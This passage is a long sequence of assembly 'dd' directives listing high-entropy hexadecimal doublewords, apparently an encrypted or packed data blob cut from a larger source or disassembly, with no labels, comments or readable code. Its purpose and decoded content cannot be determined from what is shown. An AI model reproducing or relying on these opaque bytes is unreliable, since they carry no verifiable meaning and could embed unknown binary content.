2FFF1847h, 5DE7699Ah, 0A9BF4ABEh dd 0D69F80E5h, 13121F63h, 0AA27C4E9h, 0FE049B74h, 66077EB0h dd 3A407350h, 0AEB7277Dh, 0A4D94F5Ch, 90B8E797h, 663DB981h dd 0E1CC6054h, 3201950Ch, 0BE194029h, 0C6D5E736h, 280F118Ch dd 0E5522CC8h, 0B52D5994h, 0B74D3160h, 9BF437B0h, 42FC5881h dd 705981B3h, 0EB5EE437h, 0EA377D0h, 0EC744B8Dh, 0F33B005Dh dd 0F7EBD171h, 0E908C2DBh, 98F72FB2h, 0B499701Fh, 0C2FB7B5Ch dd 0B2F57740h, 805702FDh, 0A907B3AAh, 53FBA14h, 0CC76B1C2h dd 234B8073h, 80B5B37Eh, 82316E93h, 0BDE91216h, 1B05F4C8h dd 2160441Eh, 758833C9h, 0D820E366h, 0D65ADDE2h, 0BE5BF04Bh dd 8FEF409h, 25AF26CFh, 0F78725F7h, 3B2C48D4h, 804ED190h dd 1C3830Ah, 931271BFh, 0E9F303C1h, 285BC99Bh, 392D35A0h dd 6FAE50C2h, 57610F1Ah, 9ED00649h, 24080FA0h, 0F27F5E81h dd 88FBD687h, 0AFF4E905h, 42361A97h, 0A236D05Ch, 49D657D1h dd 984512F3h, 7376BE33h, 0FDA09589h, 22864CEEh, 0A1524161h dd 0F7718A25h, 0DC7662FDh, 0DFC76404h, 2C12FED5h, 0C4EE7ECh dd 0A8ECDE7Eh, 3DD11E00h, 0D68F181h, 0A427506Dh, 0A3645B3Ch dd 5D5C89E9h, 7F087C48h, 3FD85181h, 0A87BE1AAh, 0F4BEF45Eh dd 7E41EDE7h, 61695630h, 0CAC3D3A6h, 5A7AA558h, 0D108835Fh dd 3443BEF1h, 0D70BCF83h, 80A72DCFh, 4374F693h, 0F3E9245Eh dd 2474AD9Ah, 1E7A7BEBh, 24DDA728h, 88EB5F0Ch, 0E49731DDh dd 9F232027h, 21B05004h, 0D8ACFAB3h, 42AE2C1Dh, 82BCE9D8h dd 5338C368h, 0F4C66CB5h, 0D30A5670h, 942BE801h, 0A5E42D21h dd 0E385600Bh, 0F58FA8EAh, 0E122058Dh, 85EDD158h, 1C6926EDh dd 897EB716h, 81C1C04h, 3E34A513h, 4138A1DCh, 1A10207Eh dd 36F0301Eh, 0F5A41BD7h, 0EF5AB5EDh, 717C0CC1h, 9870066Eh dd 1095ACh, 1C7B5F09h, 5EB23D38h, 0BE9B37FAh, 0AD8F318Ah dd 1109C6D4h, 58E45FC0h, 59A4232Dh, 0A15469E1h, 0E908C559h dd 0FE00F74Bh, 564FD6BBh, 4C06F437h, 0A9845086h, 665B0589h dd 0D1D081C3h, 9B34A10Eh, 16B30A53h, 3D11EB0h, 0BFB5515Bh dd 262DA286h, 0C9CD5671h, 3002A254h, 0E17D180Bh, 372ABF9Dh dd 0C75F96C9h, 52DBBB04h, 5A876CB0h, 560F1EB1h, 0B8053430h dd 4B5BE02h, 0AA382F68h, 0B64E229Ah, 0E9FD094Eh, 55EEC1A4h dd 0AD46E86Bh, 85D8EC7Eh, 95D87D3Ch, 6C0C2F68h, 58206AEEh dd 0F381026Ah, 9E106BEh, 843B9A7Ch, 118FF7B7h, 0E91ACCBCh dd 2C90C9ACh, 4E54F868h, 485AE968h, 26B81E17h, 9515CADEh dd 1AAB5F0h, 736DD03Bh, 0EAB47A6Fh, 2968F65Bh, 8273040h dd 302EC3C8h, 0D7F3C18h, 6E7D1E3Dh, 4627BA71h, 8A6F7223h dd 2EF0205Eh, 0A8B71853h, 0D82AE4D0h, 0F0A0F595h, 5CB5EC4h dd 0A2CE0126h, 1CC10820h, 6F6D46E8h, 18396E60h, 0CC7CB03Ch dd 0C02DE50Eh, 0E9734048h, 0E9CA6367h, 0AAE1DEC5h, 0C265206Bh dd 42365506h, 9794CD31h, 44BA9968h, 6C93701Eh, 0DED6D789h dd 14044FFBh, 778C187Fh, 0D2431604h, 1240FB21h, 164E2629h dd 2A4AB84Dh, 1A89E3F0h, 455856FEh, 731D8940h, 1215BB80h dd 1062D227h, 89040645h, 0BE8B205Fh, 194C238Eh, 0A8590949h dd 1C11A9F5h, 0DF2D51F9h, 0FB974D34h, 61EA2982h, 6376F6E9h dd 10B24891h, 0B0406B23h, 0A3945FF8h, 0E985984Ah, 951970EBh dd 0B68C16FDh, 0BF29C4F9h, 0B631A2C9h, 4580E64h, 8A17E22Dh dd 6380AA52h, 165C30h dd 0F7814F39h, 3A257542h, 8DEEE917h, 4A72C5F2h, 12008E0Eh dd 0CBEB5EF1h, 0CF2A1357h, 1345DAAEh, 0AF08892Ch, 0EF5B140Bh dd 135F2E48h, 0F2DAEE3h, 7FAED82Fh, 13E0B844h, 0F5B700Ah dd 0DAA6023Dh, 0D3A1A78h, 37FC81BFh, 0FE79FB2Dh, 0E9FA043Bh dd 0C2D988FAh, 6441360Bh, 634A773Bh, 46ECC87Fh, 47932821h dd 0FF873287h, 0ECD5D83Eh, 6922BC0Ch, 3585E4DFh, 12337BB3h dd 0D2D4B06Ah, 0C9490ABDh, 0DC9843Dh, 3FF2C65h, 412D60A7h dd 82560C3Eh, 6BE9DD04h, 0F3F5A3Fh, 0BD72B3Ch, 0EE7F3964h dd 79132DF2h, 96A7A85Ch, 0A6AC6105h, 8B01C00h, 75628D4h dd 3E1AFABEh, 0B5CEC026h, 3D12A64Bh, 40FA7CE9h, 55FF8DCh dd 4C00448Bh, 6C9B3547h, 13531112h, 0E8B530E9h, 0E22E1F5h dd 1B883740h, 92819B4h, 5391AD9h, 6EC8E0EBh, 3F657A41h dd 68092169h, 0D2793D86h, 1A75798Bh, 883A5CB9h, 680B639Ah dd 608FD620h, 0C9280BB9h, 95B087F6h, 3008DD6Ch, 8EF6977Eh dd 26D972C9h, 42A1970Fh, 5D06C091h, 0BF219D2Bh, 3B0EE8C1h dd 0E9B180BCh, 2D946BC6h, 0FF0247BAh, 0EE732E79h, 185FF3DBh dd 0C32928DCh, 1A506810h, 88391864h, 910FEB0Fh, 8B4A2654h dd 0A7FC79E6h, 29325850h, 42D97F8Bh, 947B8468h, 0EC80CFD1h dd 4F501070h, 7552B48Ch, 0CC319240h, 0BEADA9BFh, 3F0023E6h dd 81D6F771h, 22FE7E6h, 0E946256Fh, 0B6C5B52Bh, 189A6805h dd 2217DDF3h, 0C440ACEBh, 36D4CE82h, 55BB0EC0h, 272A7CF6h dd 7A59029Fh, 0FFC60C2h, 0C439E764h, 6E9409E2h, 0E1F6C440h dd 60A55797h, 0D958C96Bh, 0FE7E6563h, 923EFEC9h, 980680D7h dd 7D0ACBFEh, 9F0CE0E5h, 26086345h, 9FBF0043h, 0C1020E10h dd 0FE06EF24h, 0B24DF903h, 5B90B749h, 316B5333h, 597F0CE9h dd 0DBAC7F5Dh, 0DF0F9DC6h, 1B29DB98h, 9912BE51h, 5F99EAC4h dd 40234448h, 79955C46h, 0D78988C9h, 27555227h, 5F904943h dd 0B7C12DF9h, 4BC011C4h, 0BAA0B1E8h, 107B31B6h, 8AEE2E93h dd 8FC13814h, 27C30A09h, 0D325DB1Ah, 0B0EE4205h, 0F0E7FAACh dd 2CD828B3h, 8AB42BE9h, 6F32E68h, 0BD55E0A8h, 174C44B5h dd 0B1ED1A2Eh, 0AD8B550Dh, 9F849006h, 0B85CBF04h, 0A8AB585Fh dd 410078DDh, 35485334h, 5B120D04h, 2ECFFC97h, 0D58A2721h dd 44A4A6B0h, 14C8D30Bh, 0A7515E2Bh, 0F41127D3h, 0F25C4583h dd 0C7019643h, 26985127h, 0D0A48078h, 0A125A9EEh, 5D1F26h dd 82BBB370h, 1CDDA640h, 5919C727h, 325D52FEh, 0AC61754Eh dd 18E9C44Eh, 0CD153366h, 7B1FE242h, 0BA74B7A0h, 4D926885h dd 0DED6EE4Bh, 0FA362452h, 0B875194Ah, 2D685298h, 0A6D14B09h dd 4A5D44Fh, 26A83C91h, 7B0A8AFh, 79A2639Ch, 63E0069h dd 0D497C9Fh, 0DAF7D187h, 155E2008h, 97BA5280h, 0D09D52E4h dd 5FC9979Ah, 0C4BA7C5Fh, 0D2AC6AA0h, 551BBEC0h, 810342B1h dd 0E65BC4F6h, 0AB500030h, 0C11FF30Ch, 20DD06EAh, 0FAB7D801h dd 4D2821F7h, 0FFF2E213h, 0ADA35C9h, 7734097Bh, 0A2201A5Ah dd 0F788160Eh, 0E38EAE5Ah, 0EF45605Bh, 7DB457E9h, 162C4812h dd 4F6000BBh, 0D8213BC0h, 676306E9h, 0BB2DB31Eh, 0E6EB8CB5h dd 1BE19690h, 0A55AB93Fh, 0A69D98D1h, 2D3ED2Eh, 4E720AC1h dd 62BA506Fh, 9F50A889h, 76B9AFA2h, 0F2FDA0D5h, 0F6F3D5FDh dd 58B662h, 2D06E0C1h, 7725E47Ch, 344555D1h, 0D98F4D09h dd 7D521EF6h, 0AD94F12Ch, 0D182847Eh, 0F5B8B4E4h, 3158EEC4h dd 68500435h, 0B88C1601h, 0C80C4EFFh, 0A8A841F2h, 5727CA01h dd 276464BFh, 7FD2864Fh, 0A7136909h, 0CF0E001Bh, 98675A61h dd 58326175h, 3E73C680h, 0CBD847E1h, 17C3F29Bh, 0F85EE951h dd 2EB65E9Dh, 593C680Bh, 53623AECh, 0B482130h, 0CE081550h dd 276CF7Eh, 50FC3273h, 40B83BC1h, 75A124Ch, 0F1817101h dd 30E41137h, 6499E50h, 64719536h, 584D86BAh, 9221F60h dd 3A0D55B7h, 0FAC127F0h, 0F687206h, 389B7D60h, 470BD05Bh dd 0E87710E9h, 1628EE33h, 0AA509022h, 3C081550h, 7AF9F75Bh dd 5D069B00h, 4FF5E979h, 26CA4BCh, 6809231Eh, 54AA69C9h dd 9280C4B9h, 765DAD9Ah, 0D62245C1h, 550256C6h, 9F212868h dd 55FB8B5Eh, 0EF076584h, 0C95BDE40h, 4B899E48h, 0B18BECEEh dd 523F2854h, 0EBE50529h, 12FA1BEh, 0C150E6AFh, 63FC3B4Bh dd 6AF40841h, 599AC2D5h, 4F1E130h, 30BF3F16h, 68E0D3A4h dd 85781F58h, 1BB8D860h, 6893548Ch, 230CB331h, 0FB7C374Ch dd 245862A2h, 22BC5D95h, 3A8E05Dh, 20AFF680h, 8D46D1F4h dd 31173623h, 0C974EAC6h, 0E040F68Ah, 40DE12A9h, 0F6AB0DA5h dd 0BFE13EC1h, 92AA3E3h, 47996810h, 0C9803279h, 0E92FE44Ah dd 0EAAB608Dh, 433B37BAh, 4C42193Fh, 9F9008Ch, 0D8E9F2E8h dd 4CDBB5C5h, 1CE56885h, 0FF2564ABh, 5FC41B2Dh, 0E97B0BB9h dd 9A4483DDh, 80517638h, 5722EB81h, 5DE92017h, 945BBA40h dd 0A5A9FC29h, 0E909B3E3h, 335F98A1h, 502CD2B6h, 0FF99D71h dd 53602E73h, 0F0739BFh, 0F4E92C94h, 0DE8EFB3Dh, 1A51532Dh dd 0E00CF560h, 93E91607h, 0B369F9Eh, 6AA8C2E9h, 0BDFDFCD6h dd 0D153B8BAh, 2892553Ch, 674F91A0h, 0B1FD54B2h, 60F52B27h dd 833F910Bh, 82E90285h, 0F73310F8h, 0CA55528Bh, 8BF100B2h dd 9C2D3859h, 0BF5C97EEh, 4AB9C02Ch, 5C1CE473h, 0E68C3A5Bh dd 4B11DF3Ch, 0E3594E33h, 435DE987h, 564C7709h, 0AE92C5F8h dd 0A4B04971h, 0F729AC40h, 6D879BF9h, 0E51C8468h, 0E599C046h dd 1AE23345h, 0DD121A99h, 2A682830h, 42F39760h, 7569EB67h dd 0B9833A73h, 0E4A42293h, 3FBAE1BFh, 0DD6C8980h, 9E31F5Bh dd 91DDA74Fh, 0C8765D6Dh, 0ACD7E985h, 0DEED935Ch, 0D92DBAB4h dd 0B1A2E87Eh, 75DE2AE9h, 6DE48F65h, 2C8060B0h, 1960A5E3h dd 0E4C0060Ah, 85F0FEBh, 5E7E55E0h, 0A89A3051h, 6627281Ch dd 200C5095h, 0BB04CDF8h, 62457615h, 0C05C2CEAh, 3C5F46E6h dd 3447A9C0h, 92FB064h, 15A03907h, 0CE04C186h, 1A62C51Ch dd 77D0F74Bh, 40D82020h, 3000702Dh, 96053CADh, 5F9159F8h dd 30E7B921h, 9F424E46h, 0C4F65FFFh, 9942C0C4h, 41BD5364h dd 0FD65AB55h, 89DF3B22h, 0BC563394h, 1D20C996h, 277C9DEAh dd 1CDD7958h, 0BB5CA042h, 2A4292C4h, 987B7B3Dh, 2E64EDEh dd 0CA885A96h, 0C9A0F3FDh, 535AD75Eh, 986168Ah, 9C5F446Dh dd 5B51FC56h, 29B08C8Ch, 0D62CD07Bh, 6889AC54h, 0F640F848h dd 90EB5FB4h, 0A49DF18Fh, 51C7861Eh, 6718D727h, 3F1842EBh dd 620C2DD1h, 3BA81F71h, 0C3283F29h, 140CD008h, 95D8F65h dd 7330A5ACh, 475F9E68h, 0FB2FECA3h, 3B302761h, 0F4F810C2h dd 276D2B15h, 0EB6485DFh, 86DDA2AAh, 0BA4389A4h, 0C3E220BCh dd 0CD0CE490h, 5058D11Fh, 1C3B26DDh, 0EF621296h, 955B33DCh dd 51085447h, 0EF680671h, 722D1553h, 0BCBD516Dh, 0B4DEF093h dd 905845C2h, 755B802Ah, 4316DF2h, 4E6859CEh, 5EE1A349h dd 2B03A195h, 0B4093FB9h, 81F50EAh, 0CE5B9966h, 36249F4Bh dd 404F5EBh, 5CB3FE99h, 607CC300h, 0D3014CA3h, 8029EA2h dd 7CF9565Ah, 0F048997h, 0F8A4F329h, 0F4994B1Eh, 829F5C02h dd 577FB1F9h, 8E61D0C2h, 0B5148EF4h, 58E50161h, 0B370EA88h dd 0FA09BD26h, 0E9E257D1h, 5B5E700Ah, 1948AB5Eh, 83680418h dd 0CF9FFC08h, 0D42FB3E4h, 9227C443h, 66051189h, 9F0CB903h dd 382F50DEh, 483968BBh dd 0F6D84A2Bh, 87B185A9h, 0D7BDA403h, 1C8AD9A3h, 219E8A2Eh dd 0F6688BECh, 2DC27D9Bh, 8742115Fh, 61BD5A89h, 20588A76h dd 0EF9BC007h, 362C69B0h, 754DEAF6h, 14E51ED3h, 0DC71F209h dd 96D1627Ah, 33FE5405h, 6AE95339h, 4F452F92h, 5FB4898h dd 5732190Ch, 0D2469120h, 66EB1079h, 23A2456h, 0A12408h dd 179A15AFh, 0EC54E8E9h, 4109F18Ah, 7044E690h, 0F3505BD6h dd 107F1032h, 85D85B70h, 17CA05B3h, 0C12DEE71h, 72B59F5h dd 7EF828DAh, 89B26C6Ah, 0EAF52C77h, 0C0E5626Dh, 0BF20BBA9h dd 3E3139E1h, 0D8A81716h, 0A9239D17h, 0E7C90780h, 3E9464Eh dd 0A8C825C1h, 0BFCB6815h, 9AE97A98h, 0F111A262h, 8F74575Eh dd 0E31062ACh, 52FA3118h, 790482EDh, 0D501643Fh, 0B48BBCAAh dd 50EDCFAFh, 0DF827027h, 0CD807E4Ch, 402F2145h, 59037F60h dd 85806F35h, 0C70B0117h, 20ED7AE9h, 1C3378AFh, 0C143097Dh dd 0C30406EBh, 0F52902AFh, 5698685Eh, 3EFD7918h, 0E82F58C5h dd 6E5957E4h, 0A32D2DF8h, 8E43681Ch, 0B7B225A3h, 112075F2h dd 82F0986Ah, 0C5BF2F02h, 44EA701Bh, 13ADCE8Dh, 0BC842AB8h dd 0B64FD6Eh, 0DF342274h, 0EC31700h, 4E613942h, 0F213ACA6h dd 0BA04EBFh, 7BB9580Fh, 0D8E8EBF1h, 1D32A08Eh, 5E5B2779h dd 0E7DE80F7h, 24B4076Ah, 2934F51h, 88F3F785h, 13224475h dd 246D7CE9h, 4EB1AF80h, 0B410C8Ah, 0A0E909E0h, 0E3B825E0h dd 378C2309h, 58C55C31h, 629549E9h, 56527E89h, 76657320h dd 0F17D4D5Fh, 62E80502h, 0C58103E3h, 2C48F568h, 3F38C075h dd 55E97825h, 5A20E5E0h, 90DDE060h, 0E7B15F1Ah, 28FF4ABAh dd 17339C58h, 10FA2258h, 8ED77Eh, 940585B8h, 0DB2D32h dd 0D2EDDA5h, 6110077Dh, 5DFE926h, 134ABA81h, 0F46F3129h dd 99F2EEEh, 924A4CF8h, 87C4B72Dh, 5FC9ED9Eh, 25BE0D1h dd 1B7F8BF9h, 2B404D08h, 0E9E6D103h, 0C6CA3325h, 0D231269Eh dd 197F0B64h, 12E4B513h, 0AEB256AEh, 9720F561h, 43AE726Bh dd 354ACACAh, 0ADD44D5Fh, 0F8093D7Bh, 0F60ACE4Dh, 449B4197h dd 5D948378h, 0A2EB81AAh, 66E143D2h, 0EE399644h, 4AA921EAh dd 0DC50749Ah, 0E4805B07h, 437C0B5h, 87F5EC62h, 0E307A1FBh dd 0D659EBE7h, 0A08C4455h, 662D684Bh, 0CB9F5C4Ah, 4EF1965Dh dd 0C215404Ah, 744E758Eh, 5BBCB7F6h, 38875F2Dh, 9009A4DCh dd 3055BE94h, 1F5FD62Eh, 14DDB702h, 93F07DACh, 0AFBEE4F4h dd 29D75462h, 0A8D36655h, 52D5745h, 0C0E9FE34h, 933DAD27h dd 6BE8F3C4h, 0B94FE9B0h, 4E87DC9Dh, 72B0788Bh, 10C3BB09h dd 90CB8143h, 0C1142B15h, 8945390Ch, 37023F59h, 603513C2h dd 1656F21Eh, 0A019344Ah, 0E93D5714h, 73A6543Dh, 2D3CECB7h dd 2FFDFD96h, 366904E3h, 0B23BD0A9h, 780940CFh, 1481B0Bh dd 7570F160h, 0BF0EBF18h, 7A009C09h, 34DA7814h, 0A0E0094Eh dd 0D8995B27h, 4B4AAF58h, 483EF32h, 0D6F5BF56h, 37B16A83h dd 0CADAF753h, 595F21F0h, 0E9D3EBA3h, 5AC184A0h, 6987835Dh dd 62D9477Ch, 0ED213EA9h, 0F026E3CDh, 81982F79h, 0C5C1C393h dd 0BE432E0h, 824068B3h, 7EB1BD3Eh, 7E7C60C2h, 0D6BC209Eh dd 642AF10Fh, 0F2C03805h, 5BBC4312h, 6F71956h, 4E72C03h dd 7C79222Dh, 6C681481h, 81825A02h, 43FA2A24h, 89F5CFA0h dd 78712516h, 7E3F5Eh, 12FE69DAh, 812391E9h, 3D563E5Ch dd 343E98BBh, 0F7E4F941h, 943AF0DBh, 0B652052Fh, 11B1BA39h dd 96A5C1DEh, 6881CC3Fh, 0C533E80Bh, 0F7FE0339h, 0E687A49Ch dd 7048CF60h, 414C58B0h, 33732506h, 0BA120C13h, 0AE091DBCh dd 413F62A8h, 163AC8C7h, 0C200FE47h, 36A32768h, 59E84C31h dd 787C3425h, 96B62E6Fh, 2512588h, 3C2CAEB9h, 8A5D2142h dd 0D0A712F7h, 984509FBh, 0A774296Bh, 81C7ACB2h, 7D7BE90Ch dd 78B94E81h, 4020F127h, 0F11EACDh, 28F84262h, 1F8752B5h dd 0BDDB2BF0h, 66AE9598h, 694B3868h, 3B50768Ch, 870B4149h dd 16824EF1h, 0B1D68CE6h, 5B3D2782h, 2092DF69h, 0BDE89E00h dd 50BFA333h, 8CFA273Fh, 284E4AC6h, 0BB5640EFh, 2130CD14h dd 0E4FCF55Ah, 96969EB1h, 0EF8D0199h, 713FCD42h, 0E4DE2714h dd 0D918C582h, 0B0978063h, 7D354F7Fh, 0A9CA0B42h, 0F48F435Ch dd 590A207Eh, 77014168h, 0C01F25BFh, 1FACBBF5h, 472D7F5Dh dd 5685BD8h, 0B78C605Ch, 3828515Dh, 8A25AB41h, 890298E3h dd 0A5FA9143h, 0E6015253h, 329B6544h, 413D1E7Bh, 0F6430ACEh dd 0D87F6069h, 1BD8040h, 2A95422Eh, 97FFC581h, 1BAB4D03h dd 74A00C9Ch, 5098C46Eh, 72DF828h, 0A7088DB1h, 1B8624AEh dd 0B985C401h, 31AFD2F7h, 6BA968D0h, 0CD5AC0ECh, 110B6F93h dd 0D705290Dh, 6CD5E5B2h, 53F6B56Fh, 46858B7Ah, 4540690Bh dd 0BD89547Ch, 871E5508h, 9086D9Dh, 947DA407h, 36F5956Eh dd 4C5F324Ah, 251C7BFh, 93ACBE65h, 8745C24Ah, 6924DE5Dh dd 1EB13938h, 0CB88531Ch, 74E9DA85h, 0FEC2F4BBh, 7B1A2F5Ch dd 654AD25Dh, 9DE1019Ah, 40FAFCD2h, 75E90318h, 19090590h dd 161D41Eh, 268C7C8Fh, 924DF1EBh, 6DC35982h, 0CF60FB42h dd 568070F4h, 23680252h, 5A530848h, 69896079h, 0A0634444h dd 0A566BF05h, 1F2C9Ah, 0A7FBD880h, 5CBFD121h, 6A07599Bh dd 0FFBBB1A4h, 68BCA207h, 5BDD11C8h, 64F3FEBDh, 2ACCE108h dd 922473Dh, 4E8A6B10h, 63FCF800h, 69526E4Dh, 0E477CA51h dd 4A99F041h, 0AD9C49CDh, 0F632EC81h, 2ACEF5D6h, 80E43BE8h dd 16137955h, 0DDE95D13h, 94B9E980h, 0C6546203h, 526CA8D1h dd 0F5D75169h, 1F9B7D20h, 5B5F3CA1h, 4C301429h, 0FEDC9D93h dd 18C05FDAh, 0E82F6730h, 0EDB25770h, 6A2FC264h, 72BF5CD1h dd 9BAD0FFh, 0C0B35352h, 0D503EA5Dh, 33DC4D40h, 4C1A752Dh dd 63BB04AAh, 0EE45556Eh, 72934ED0h, 0C0B15E6Dh, 3E685E79h dd 0BC87D197h, 0B7753412h, 0F8BB025Bh, 0E06E3956h, 2E6596C1h dd 2DE37664h, 5BF553C2h, 6B28427Eh, 0A2FD154Ah, 7F525C3Fh dd 21168AE7h, 6791E791h, 6AFDC112h, 669310BAh, 9C4B9DA0h dd 7DE848A8h, 5EBD895Ah, 6060332h, 6539BEC0h, 2340D42Eh dd 0B31A3202h, 590DC073h, 3D452C2Eh, 45F81E0Ch, 0FF5661ABh dd 0D00D5FB5h, 0EC3ED5E9h, 55C8B527h, 3FC181F7h, 2E17B09h dd 0FD84E237h, 98CB4C8Fh, 2EF146DDh, 0C0AA97E5h, 75767CDEh dd 0C8020598h, 29404872h, 888C7F1h, 5B1D79EBh, 0A9B7568Bh dd 2E654F1h, 9E48E692h, 1337E3D7h, 0C8AF88D0h, 1F2568FDh dd 1E4B460Bh, 0A6EB5FD9h, 2AEF0048h, 0BF2DCD4Fh, 7A13F1FCh dd 3216D001h, 2D518FF4h, 0AE548FB5h, 0EDCCFE8Fh, 90A863CFh dd 14749F0Dh, 6AF8D643h, 2A96E11h, 43D72022h, 3E01C458h dd 0E96AE830h, 0FD3EE37Ah, 0F75389B6h, 0E9121495h, 30BB0C13h dd 21842FBEh, 87823E5Bh, 0F1DACA35h, 0D7C94FB1h, 5E5F6BE2h dd 0D27FC45Ah, 0C5F55FCDh, 0F1843EE8h, 90E6AFE9h, 8478EF4Eh dd 4296352Fh, 0FA004282h, 40E91798h, 81F63512h, 59D97413h dd 0D42C07FDh, 78A80Fh, 0A2055D5Ah, 7B2D5E75h, 880D001h dd 822EC55Fh, 0E2D68E47h, 0E0035427h, 5615732Dh, 0C4EB174Bh dd 0C8084447h, 0D90AF859h, 8E683246h, 7CDAD5CBh, 62C051BDh dd 43CAA4E9h, 69FFC575h, 0EB62F95Fh, 0EC5F4AECh, 0FA8934EEh dd 50998375h, 7B499928h, 3297D93Bh, 0CF95419Eh, 2374836Ch dd 9AEF01FEh, 0DCE9A14Ch dd 14D97FFAh, 98E0759Eh, 0CC70FD3h, 0F2644433h, 5B5D0072h dd 267ADE2Dh, 14954A86h, 0EC4A0705h, 8BF7D6A9h, 0D8220B93h dd 678F98BAh, 386E0B22h, 18EECE80h, 0E1F86F9Ah, 9C1BBC0Bh dd 1F300311h, 0F525C27Dh, 31DE17A0h, 5AFA7AFEh, 159D655Bh dd 1417B855h, 90F01252h, 7C4734E9h, 0B2D9A810h, 0F7A5906Fh dd 0D15AA05Eh, 66F1B7C5h, 0F1A09393h, 59D39559h, 83B75300h dd 48B1CF80h, 4E7B0EF6h, 0A0E12475h, 2D4F64BFh, 2905B541h dd 2760431Dh, 9651163Ah, 1F58B96Bh, 0A5FCFF5h, 29950C30h dd 0E6535072h, 4D8C102h, 0FD399936h, 9480E8F6h, 877242B8h dd 0C1A0C69Fh, 256875A0h, 0E6C46B2Ah, 41F40712h, 0B74E7016h dd 0E059DF54h, 0AC05A268h, 8C6C5468h, 0D524B18Ah, 0C50838F6h dd 38502DA0h, 87698324h, 5FDD6870h, 192AE33Dh, 0B4676498h dd 0B018DDFEh, 0EF96A473h, 77349480h, 2E092D5Dh, 16E48D59h dd 0C742B417h, 0C1027246h, 495FEE27h, 9D764DDh, 4616629Ch dd 0D1957AD0h, 0BBBA16DAh, 0B001E756h, 2BD717A0h, 4A4946Ah dd 0BFFCE908h, 0BAACD416h, 0C410A8B4h, 34AFFE88h, 28EA0A09h dd 682742A5h, 0CF2004CCh, 28315896h, 0A4F7B416h, 51581B9Ah dd 5B6B00E3h, 0E9557901h, 59FBE11h, 0C358E588h, 0F7B353EDh dd 0FDD0EEC3h, 0C516805Bh, 49EF3071h, 3C7F5378h, 912C3877h dd 0A5BF7C62h, 58C67A48h, 32268BB7h, 5E2942E8h, 96D52F17h dd 634620C3h, 97C68102h, 0D77AEC25h, 90809A8h, 7DDA99E9h dd 25DED09Dh, 0B83932CAh, 0A9DEF996h, 0E909DAFCh, 0A2D54620h dd 22D18493h, 11AE53C1h, 457F25C1h, 0E37A4EAAh, 7314D15h dd 94B0E2B6h, 0F003D697h, 0C35AA22Ch, 4EB2F0DDh, 80DA0EF6h dd 0F26070EAh, 0E9D18826h, 48875025h, 588B829Fh, 6DC48714h dd 0F25A0A5Fh, 7606CB04h, 0B703E384h, 95FB4E7Bh, 0AA61B0BBh dd 59F32D5Ah, 6ECCC903h, 12620DDEh, 0FD96A1B6h, 69F521BAh dd 8D5595F9h, 2EEE381h, 0C46981E5h, 0FB5C71Fh, 0A8692204h dd 532320DDh, 3BB443h, 1CCD6857h, 0E95F03C0h, 208AD92Dh dd 0A722F7ABh, 4B40B782h, 53C40D5Dh, 0C6C2A9EFh, 594767Fh dd 0FA6A6C68h, 67DB3160h, 81530E85h, 78C5CEF2h, 91F18025h dd 900C2726h, 0BC5AD189h, 59A16385h, 0CC941EAh, 7392EF7Fh dd 0CCB1296Bh, 0EC680059h, 0FAF3A632h, 0B3F15BE1h, 99E15F77h dd 824B01F0h, 52A16E94h, 1FC03D73h, 1D981E3Dh, 274C9BB0h dd 8FF42866h, 6E7C102h, 7C9F804Fh, 9592126Ch, 8A49827Dh dd 0BF9D66E3h, 90F6BB78h, 5D506CBAh, 525E5997h, 0CDE9F860h dd 0D674A08Ah, 0F61AFC52h, 97B0B2D0h, 578146DBh, 5069480Dh dd 290EC86Fh, 580824C5h, 27D41301h, 0E9E43C06h, 40904E31h dd 4821D073h, 29355E26h, 7D8183DFh, 0E90146AAh, 577964A5h dd 0BA057090h, 2AAD4D36h, 44A7CC14h, 3B072D99h, 577F939h dd 34CE4811h, 4A6863FDh, 0FFF10916h, 0ED80A090h, 88501E8Ah dd 92A9CEECh, 0EBD9EE13h, 1834A120h, 0A8740A14h, 2A0D5A86h dd 1CFB0178h, 821C0806h, 77386214h, 4B6F6ED1h, 0D39B19AEh dd 11103532h, 0CBBF0361h, 0D10E8831h, 0CC6E1936h, 8509F7BAh dd 1605B1Dh, 0B709F168h, 5CB01D20h, 60B6A069h, 5D166CB7h dd 1317875Ch, 359CEEBAh, 0EFED44D4h, 0E84ACB0Ch, 73F27429h dd 0E967170Ch, 507DF082h, 0E8625695h, 425B5135h, 90F0A7F2h dd 8F945F97h, 2C6CE380h, 0CA78D93Ch, 40B58EBCh, 0DEFBF168h dd 7B2DE9A6h, 0E4B476D4h, 73E7BF5Ch, 0E466B517h, 1E41837Bh dd 0C257C06Bh, 6527306Fh, 34C4C57Bh, 0C32ABA3Eh, 0A44E4358h dd 23123296h, 4AF3B1Bh, 0AFB52E58h, 0E63EFC6Dh, 0A5614FDEh dd 0D1C63868h, 4C0D8B99h, 0FC60D6D6h, 9D40365Bh, 0EA60C2FEh dd 5861E9Eh, 5E94257h, 847CFFA0h, 30EE2568h, 7D5A8054h dd 4AFF3C0Bh, 0D3858186h, 0D101F311h, 8C0920EFh, 7115FD12h dd 0E6BD47B0h, 239D3F26h, 0C82E507h, 1145870Ah, 65A8DEE9h dd 0CCE82A11h, 16524E12h, 31FC01FFh, 6BE447B5h, 5629D8A0h dd 0BF0190D3h, 33943DC1h, 2F552757h, 7EAA094Ah, 85101318h dd 0FF2AFD8h, 175F65C4h, 0B7E164A0h, 0C9123B76h, 0FC6D509h dd 0D0A08330h, 0C0EB9C20h, 0E9DA01FCh, 0F2030B25h, 9AF2B7A8h dd 0F52B2CBAh, 963D3AA7h, 0C8FFC064h, 8782710Eh, 31E4C824h dd 5CF320C0h, 60CB0534h, 0FC6348E9h, 0C30FF4F8h, 0BF0CB8BEh dd 61C713Bh, 7EFC161h, 516084Fh, 7206E781h, 0F0C5593h dd 44D43933h, 0BD8C1B5Ch, 0E41F4CB0h, 208A2948h, 0CFD99C6Ch dd 0AA5ED386h, 39B75317h, 0C3162B18h, 5B20C255h, 0FF41C121h dd 0C2558108h, 0B6F3FF30h, 3CDFB12Eh, 0D74482Eh, 0CC381F86h dd 2D5137D8h, 347E1C74h, 759808A0h, 0FF478E41h, 19BB5F80h dd 81E201D1h, 0C64336CAh, 4E0C820Eh, 0C02CB541h, 4B6D50C8h dd 0C5ABC52h, 4A2739C7h, 95E49AA4h, 5D5A3A7Eh, 1B4AD818h dd 136F0C8Ch, 0D06822ABh, 285C1202h, 7703EAC1h, 16F65C00h dd 46C019B5h, 43BA5731h, 0D50927E9h, 958EE9Ah, 6020507Dh dd 250A9C6Eh, 163875Fh, 7AB4046Bh, 55D42109h, 0DD2B2F85h dd 3F043FE8h, 0AF1A4F34h, 4ACDF8E9h, 0B5A46092h, 